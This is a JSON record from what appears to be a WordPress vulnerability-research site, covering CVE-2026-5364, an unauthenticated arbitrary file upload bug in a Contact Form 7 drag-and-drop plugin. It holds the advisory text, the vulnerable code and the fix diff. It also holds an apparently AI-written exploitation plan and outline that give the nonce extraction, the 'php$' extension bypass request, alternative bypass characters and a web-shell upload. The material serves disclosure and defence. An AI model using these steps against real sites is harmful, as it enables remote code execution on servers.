[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fxnKI1UaMQNMKQeVBlL9t7hAPk7TL_qyRud95N4pWUSo":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-5364","drag-and-drop-file-upload-for-contact-form-7-unauthenticated-arbitrary-file-upload-via-sanitizefilename-bypass","Drag and Drop File Upload for Contact Form 7 \u003C= 1.1.3 - Unauthenticated Arbitrary File Upload via sanitize_file_name Bypass","The Drag and Drop File Upload for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file upload in versions up to, and including, 1.1.3. This is due to the plugin extracting the file extension before sanitization occurs and allowing the file type parameter to be controlled by the attacker rather than being restricted to administrator-configured values, which when combined with the fact that validation occurs on the unsanitized extension while the file is saved with a sanitized extension, allows special characters like '$' to be stripped during the save process. This makes it possible for unauthenticated attackers to upload arbitrary PHP files and potentially achieve remote code execution, however, an .htaccess file and name randomization is in place which restricts real-world exploitability.","drag-and-drop-file-upload-for-contact-form-7",null,"\u003C=1.1.3","1.1.4","high",8.1,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Unrestricted Upload of File with Dangerous Type","2026-04-23 16:36:09","2026-04-24 05:29:41",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F0548608d-17d5-46f4-9d64-6e3b0552bf9d?source=api-prod",1,[22,23,24,25,26],"backend\u002Findex.php","backend\u002Fsettings.php","drag-and-drop-file-upload-for-contact-form-7.php","frontend\u002Findex.php","frontend\u002Fjs\u002Fdropfiles-cf7.js","researched",false,3,"# Exploitation Research Plan - CVE-2026-5364\n\n## 1. Vulnerability Summary\nThe **Drag and Drop File Upload for Contact Form 7** plugin (up to 1.1.3) contains an unauthenticated arbitrary file upload vulnerability. The flaw exists in the AJAX handler `cf7_file_uploads` because it validates the file extension against an attacker-supplied list of \"allowed\" types before the filename is sanitized by WordPress. \n\nAn attacker can provide a filename with a trailing special character (like `exploit.php$`) and set the allowed types to include that specific extension (`php$`). The validation passes because `php$` is not in the plugin's hardcoded blacklist. However, when the file is saved, WordPress's `wp_unique_filename` (via `sanitize_file_name`) strips the trailing `$`, resulting in a `.php` file on the server.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Action**: `cf7_file_uploads` (registered for `nopriv` users in `backend\u002Findex.php`)\n- **Vulnerable Parameter**: `$_FILES['file']` (filename) and `$_REQUEST['type']` (allowed extensions).\n- **Authentication**: Unauthenticated.\n- **Preconditions**:\n    - The plugin must be active.\n    - A valid nonce for the `cf7_file_upload` action must be obtained.\n\n## 3. Code Flow\n1.  **Entry Point**: `Superaddons_Cf7_File_Uploads_Backend::cf7_file_uploads()` is triggered via `admin-ajax.php`.\n2.  **Nonce Bypass\u002FCheck**: It verifies a nonce using `wp_verify_nonce(..., 'cf7_file_upload')`.\n3.  **Extension Extraction**: `$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );`\n    - If filename is `shell.php$`, `$file_extension` becomes `php$`.\n4.  **Filename Preparation**: `$filename = uniqid() . '.' . $file_extension;` (e.g., `65a1b2c3.php$`).\n5.  **Sanitization Sink**: `$filename = wp_unique_filename( $uploads_dir, $filename );`.\n    - `wp_unique_filename` calls `sanitize_file_name('65a1b2c3.php$')`, which strips the `$` to return `65a1b2c3.php`.\n6.  **Validation Check**: `$this->is_file_type_valid($type, $file)` is called.\n    - Inside `is_file_type_valid`, it re-extracts the extension from the *original* `$file['name']` (`php$`).\n    - It checks if `php$` is in the `$type` parameter (attacker-controlled).\n    - It checks if `php$` is in the `$blacklist` (`get_blacklist_file_ext()`). Since `php$` is not explicitly listed (only `php`, `php3`, etc.), it passes.\n7.  **File Save**: `move_uploaded_file( $file['tmp_name'], $new_file )` saves the file as `.php`.\n8.  **Information Disclosure**: The JSON response returns the full URL to the uploaded file.\n\n## 4. Nonce Acquisition Strategy\nThe nonce is generated on the frontend and localized for the script `cf7_file_uploads`.\n\n1.  **Create Test Page**: Since the scripts are enqueued on `wp_enqueue_scripts`, they should appear on most frontend pages. To be certain, create a page with a Contact Form 7 shortcode.\n    - Command: `wp post create --post_type=page --post_status=publish --post_title=\"Upload Form\" --post_content='[contact-form-7 id=\"DEFAULT_FORM_ID\"]'`\n2.  **Navigate and Extract**:\n    - Use `browser_navigate` to visit the newly created page.\n    - Use `browser_eval` to extract the nonce from the global JavaScript object defined in `frontend\u002Findex.php`.\n    - Variable: `window.cf7_file_uploads.nonce`\n\n## 5. Exploitation Strategy\n### Step 1: Obtain Nonce\nAccess the site frontend and read `window.cf7_file_uploads.nonce`.\n\n### Step 2: Perform Unauthenticated Upload\nSend a multipart\u002Fform-data request to `admin-ajax.php`.\n\n- **Method**: `POST`\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Parameters**:\n    - `action`: `cf7_file_uploads`\n    - `nonce`: `[EXTRACTED_NONCE]`\n    - `size`: `10` (Maximum size in MB)\n    - `type`: `php$` (This matches our payload extension to bypass validation)\n    - `type_upload`: `0` (Saves to `cf7-uploads-custom` directory)\n    - `file`: (The PHP file payload)\n        - `filename`: `exploit.php$`\n        - `content`: `\u003C?php echo \"POC_SUCCESS\"; ?>`\n\n### Step 3: Parse Response\nThe response will be a JSON object:\n```json\n{\n  \"status\": \"ok\",\n  \"text\": \"http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fuploads\u002Fcf7-uploads-custom\u002F65a1b2c3.php\"\n}\n```\n*Note: The trailing `$` is gone in the response because it reflects the actual sanitized filename on disk.*\n\n### Step 4: Verify Execution\nAccess the URL provided in the `text` field.\n\n## 6. Test Data Setup\n1.  **Plugins**: Ensure `contact-form-7` and `drag-and-drop-file-upload-for-contact-form-7` are installed and active.\n2.  **Contact Form**: Identify a valid Contact Form 7 ID.\n3.  **Page**: Create a public page with the form.\n    ```bash\n    FORM_ID=$(wp post list --post_type=wpcf7_contact_form --format=ids | awk '{print $1}')\n    wp post create --post_type=page --post_status=publish --post_content=\"[contact-form-7 id=\\\"$FORM_ID\\\"]\"\n    ```\n\n## 7. Expected Results\n- The AJAX request should return `{\"status\":\"ok\", \"text\":\"...\u002Fexploit.php\"}`.\n- Navigating to the returned URL should output `POC_SUCCESS`.\n- *Note*: If the server configuration prevents PHP execution in the uploads directory via the generated `.htaccess` (which sets `Content-Disposition: attachment`), the file will still be successfully uploaded as `.php`, confirming the \"Arbitrary File Upload\" vulnerability.\n\n## 8. Verification Steps\nAfter the exploit, use WP-CLI to check the filesystem:\n```bash\n# List files in the custom upload directory\nls -la \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002Fcf7-uploads-custom\u002F\n# Check content of the uploaded php file\ncat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002Fcf7-uploads-custom\u002F*.php\n```\n\n## 9. Alternative Approaches\nIf `php$` is blocked by server-level security or if `pathinfo` behaves differently:\n- Try `php. ` (trailing dot and space) if the OS is Windows-based.\n- Try `php%00.jpg` (Null byte injection) if the PHP version is very old (unlikely for this plugin's era).\n- Try different special characters like `exploit.php\u002F` or `exploit.php.` which `sanitize_file_name` also strips.\n- If `type_upload=0` is restricted, try `type_upload=1` which saves to `cf7-uploads-save`.","The Drag and Drop File Upload for Contact Form 7 plugin is vulnerable to unauthenticated arbitrary file uploads due to an inconsistency between file extension validation and filename sanitization. Attackers can bypass the file type blacklist by appending special characters (like '$') to the filename, which are then stripped by the WordPress sanitization function after validation but before the file is saved to disk.","\u002F\u002F backend\u002Findex.php (v1.1.0)\n\nprivate function is_file_type_valid( $file_types, $file ) {\n    \u002F\u002F File type validation\n    if ( $file_types == \"\" )  {\n        $file_types = 'jpg|jpeg|png|gif|webp|pdf|doc|docx|ppt|pptx|odt|avi|ogg|m4a|mov|mp3|mp4|mpg|wav|wmv';\n    }\n    $file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );\n    $file_types_meta = explode( '|', $file_types );\n    $file_types_meta = array_map( 'trim', $file_types_meta );\n    $file_types_meta = array_map( 'strtolower', $file_types_meta );\n    $file_extension = strtolower( $file_extension );\n    return ( in_array( $file_extension, $file_types_meta ) && ! in_array( $file_extension, $this->get_blacklist_file_ext() ) );\n}\n\n---\n\nfunction cf7_file_uploads(){\n    if ( wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST[ 'nonce' ] ) ), 'cf7_file_upload' ) ) {\n        $file = $_FILES[\"file\"];\n        $size = sanitize_text_field( $_REQUEST[\"size\"] ); \n        $type = sanitize_text_field( $_REQUEST[\"type\"] ); \n        $type_upload = sanitize_text_field( $_REQUEST[\"type_upload\"] );\n        \u002F\u002F ...\n        $uploads_dir = $this->get_ensure_upload_dir($type_upload);\n        $file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );\n        $filename = uniqid() . '.' . $file_extension;\n        $filename = wp_unique_filename( $uploads_dir, $filename ); \u002F\u002F This strips characters like '$'\n        $new_file = trailingslashit( $uploads_dir ) . $filename; \n        \u002F\u002F valid file type?\n        if(!$this->is_file_type_valid($type,$file)){ \u002F\u002F Validates against original unsanitized extension\n            wp_send_json( array(\"status\"=>\"not\",\"text\"=>esc_html__( 'This file type is not allowed.', 'drag-and-drop-file-upload-for-contact-form-7' ) ) );\n            die();\n        }\n        \u002F\u002F ...\n        if ( is_dir( $uploads_dir ) && is_writable( $uploads_dir ) ) {\n            $move_new_file = @ move_uploaded_file( $file['tmp_name'], $new_file );","Only in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fdrag-and-drop-file-upload-for-contact-form-7\u002F1.1.0: add-ons.php\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fdrag-and-drop-file-upload-for-contact-form-7\u002F1.1.0\u002Fbackend\u002Findex.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fdrag-and-drop-file-upload-for-contact-form-7\u002F1.1.4\u002Fbackend\u002Findex.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fdrag-and-drop-file-upload-for-contact-form-7\u002F1.1.0\u002Fbackend\u002Findex.php\t2025-05-15 03:20:58.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fdrag-and-drop-file-upload-for-contact-form-7\u002F1.1.4\u002Fbackend\u002Findex.php\t2026-04-03 07:35:04.000000000 +0000\n@@ -121,114 +138,98 @@\n-    private function is_file_type_valid( $file_types, $file ) {\n-\t\t\u002F\u002F File type validation\n-\t\tif ( $file_types == \"\" )  {\n-\t\t\t$file_types = 'jpg|jpeg|png|gif|webp|pdf|doc|docx|ppt|pptx|odt|avi|ogg|m4a|mov|mp3|mp4|mpg|wav|wmv';\n-\t\t}\n-\t\t$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );\n-\t\t$file_types_meta = explode( '|', $file_types );\n-\t\t$file_types_meta = array_map( 'trim', $file_types_meta );\n-\t\t$file_types_meta = array_map( 'strtolower', $file_types_meta );\n-\t\t$file_extension = strtolower( $file_extension );\n-\t\treturn ( in_array( $file_extension, $file_types_meta ) && ! in_array( $file_extension, $this->get_blacklist_file_ext() ) );\n-\t}\n-function cf7_file_uploads(){\n-    if ( wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST[ 'nonce' ] ) ), 'cf7_file_upload' ) ) {\n-        $file = $_FILES[\"file\"];\n-        $size = sanitize_text_field( $_REQUEST[\"size\"] ); \n-        $type = sanitize_text_field( $_REQUEST[\"type\"] ); \n-        $type_upload = sanitize_text_field( $_REQUEST[\"type_upload\"] );\n-        if($type_upload == 1 || $type_upload == 2){\n-            \u002F\u002Fsave file\n-        }else{\n-            $type_upload = 0;  \n-        }\n-        $uploads_dir = $this->get_ensure_upload_dir($type_upload);\n-        $file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );\n-        $filename = uniqid() . '.' . $file_extension;\n-        $filename = wp_unique_filename( $uploads_dir, $filename );\n-        $new_file = trailingslashit( $uploads_dir ) . $filename; \n-        \u002F\u002F valid file type?\n-        if(!$this->is_file_type_valid($type,$file)){\n-            wp_send_json( array(\"status\"=>\"not\",\"text\"=>esc_html__( 'This file type is not allowed.', 'drag-and-drop-file-upload-for-contact-form-7' ) ) );\n-            die();\n-        }\n-        \u002F\u002F allowed file size?\n-        if ( ! $this->is_file_size_valid( $size, $file ) ) {\n-            wp_send_json( array(\"status\"=>\"not\",\"text\"=>esc_html__( 'This file exceeds the maximum allowed size.', 'drag-and-drop-file-upload-for-contact-form-7' ) ) );\n-            die();\n-        }\n-        if ( is_dir( $uploads_dir ) && is_writable( $uploads_dir ) ) {\n-            $move_new_file = @ move_uploaded_file( $file['tmp_name'], $new_file );\n-            if ( false !== $move_new_file ) {\n-                \u002F\u002F Set correct file permissions.\n-                $perms = 0644;\n-                @ chmod( $new_file, $perms );\n-                wp_send_json( array(\"status\"=>\"ok\",\"text\"=>$this->get_file_url( $filename ,$type_upload ) ) );\n-            } else {\n-                wp_send_json( array(\"status\"=>\"not\",\"text\"=>esc_html__( 'There was an error while trying to upload your file.', 'drag-and-drop-file-upload-for-contact-form-7' ) ) );\n-            }\n-        }else{\n-            wp_send_json( array(\"status\"=>\"not\",\"text\"=>esc_html__( 'Upload directory is not writable or does not exist.', 'drag-and-drop-file-upload-for-contact-form-7' ) ) );\n-        }\n-    }\n-}\n+    private function is_file_type_valid($file_types, $file)\n+    {\n+        if (empty($file_types)) {\n+            $file_types = 'jpg|jpeg|png|gif|webp|pdf|doc|docx|ppt|pptx|odt|avi|ogg|m4a|mov|mp3|mp4|mpg|wav|wmv';\n+        }\n+        $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));\n+        $allowed = array_map('trim', explode('|', strtolower($file_types)));\n+        return (in_array($extension, $allowed, true) && !in_array($extension, $this->get_blacklist_file_ext(), true));\n+    }\n+    \u002F**\n+     * Secure AJAX handler for file uploads using WordPress API.\n+     *\u002F\n+    public function cf7_file_uploads()\n+    {\n+        check_ajax_referer('cf7_file_upload', 'nonce');\n+        if (!isset($_FILES['file']) || empty($_FILES['file']['name'])) {\n+            wp_send_json_error(array(\"message\" => esc_html__('No file uploaded.', 'drag-and-drop-file-upload-for-contact-form-7')));\n+        }\n+        $file         = $_FILES['file']; \u002F\u002Fphpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized\n+        $size_limit   = isset($_POST['size']) ? sanitize_text_field(wp_unslash($_POST['size'])) : ''; \u002F\u002Fphpcs:ignore WordPress.Security.NonceVerification.Missing\n+        $type_limit   = isset($_POST['type']) ? sanitize_text_field(wp_unslash($_POST['type'])) : ''; \u002F\u002Fphpcs:ignore WordPress.Security.NonceVerification.Missing\n+        $type_upload  = isset($_POST['type_upload']) ? absint($_POST['type_upload']) : 0; \u002F\u002Fphpcs:ignore WordPress.Security.NonceVerification.Missing\n+        \u002F\u002F Security Validations\n+        if (!$this->is_file_type_valid($type_limit, $file)) {\n+            wp_send_json_error(array(\"message\" => esc_html__('This file type is not allowed.', 'drag-and-drop-file-upload-for-contact-form-7')));\n+        }\n+        if (!$this->is_file_size_valid($size_limit, $file)) {\n+            wp_send_json_error(array(\"message\" => esc_html__('This file exceeds the maximum allowed size.', 'drag-and-drop-file-upload-for-contact-form-7')));\n+        }\n+        if (!function_exists('wp_handle_upload')) {\n+            require_once(ABSPATH . 'wp-admin\u002Fincludes\u002Ffile.php');\n+        }\n+        $uploads_dir = $this->get_ensure_upload_dir($type_upload);\n+        \u002F\u002F Hook into WordPress upload directory to use our custom path\n+        $upload_dir_filter = function ($uploads) use ($uploads_dir) {\n+            $uploads['path']    = $uploads_dir;\n+            $uploads['basedir'] = $uploads_dir;\n+            return $uploads;\n+        };\n+        add_filter('upload_dir', $upload_dir_filter);\n+        $movefile = wp_handle_upload($file, array('test_form' => false));\n+        remove_filter('upload_dir', $upload_dir_filter);\n+        if ($movefile && !isset($movefile['error'])) {\n+            $filename = basename($movefile['file']);\n+            wp_send_json_success(array(\n+                \"status\" => \"ok\",\n+                \"text\"   => $this->get_file_url($filename, $type_upload)\n+            ));\n+        } else {\n+            wp_send_json_error(array(\"message\" => $movefile['error']));\n+        }\n+    }","1. **Obtain Nonce**: Access any frontend page on the site where a Contact Form 7 form is present. The nonce for the file upload AJAX action is localized in the JavaScript object `window.cf7_file_uploads.nonce`.\n2. **Craft Payload**: Create a PHP web shell file but name it with a trailing special character, for example: `shell.php$`.\n3. **Prepare AJAX Request**: Construct a multipart\u002Fform-data POST request to `\u002Fwp-admin\u002Fadmin-ajax.php`. The request should include the following parameters:\n    - `action`: `cf7_file_uploads`\n    - `nonce`: The extracted nonce.\n    - `file`: The web shell content with the filename `shell.php$`.\n    - `type`: `php$` (This matches the extension extracted by the plugin and bypasses the hardcoded blacklist which only checks for `php`, `phtml`, etc.).\n    - `size`: A sufficiently large integer (e.g., 10).\n4. **Execution Flow**: The server-side code extracts the extension `php$` from the file and checks if it's in the attacker-supplied `type` parameter. Because `php$` is not in the plugin's internal extension blacklist, validation passes. The plugin then calls `wp_unique_filename`, which utilizes WordPress's `sanitize_file_name` to strip the `$` character. The file is saved as `[unique_id].php`.\n5. **Access Shell**: The AJAX response returns the full URL of the uploaded file. Access this URL to execute arbitrary PHP code.","gemini-3-flash-preview","2026-04-27 13:34:43","2026-04-27 13:35:48",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","1.1.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fdrag-and-drop-file-upload-for-contact-form-7\u002Ftags\u002F1.1.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fdrag-and-drop-file-upload-for-contact-form-7.1.1.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fdrag-and-drop-file-upload-for-contact-form-7\u002Ftags\u002F1.1.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fdrag-and-drop-file-upload-for-contact-form-7.1.1.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fdrag-and-drop-file-upload-for-contact-form-7\u002Ftags"]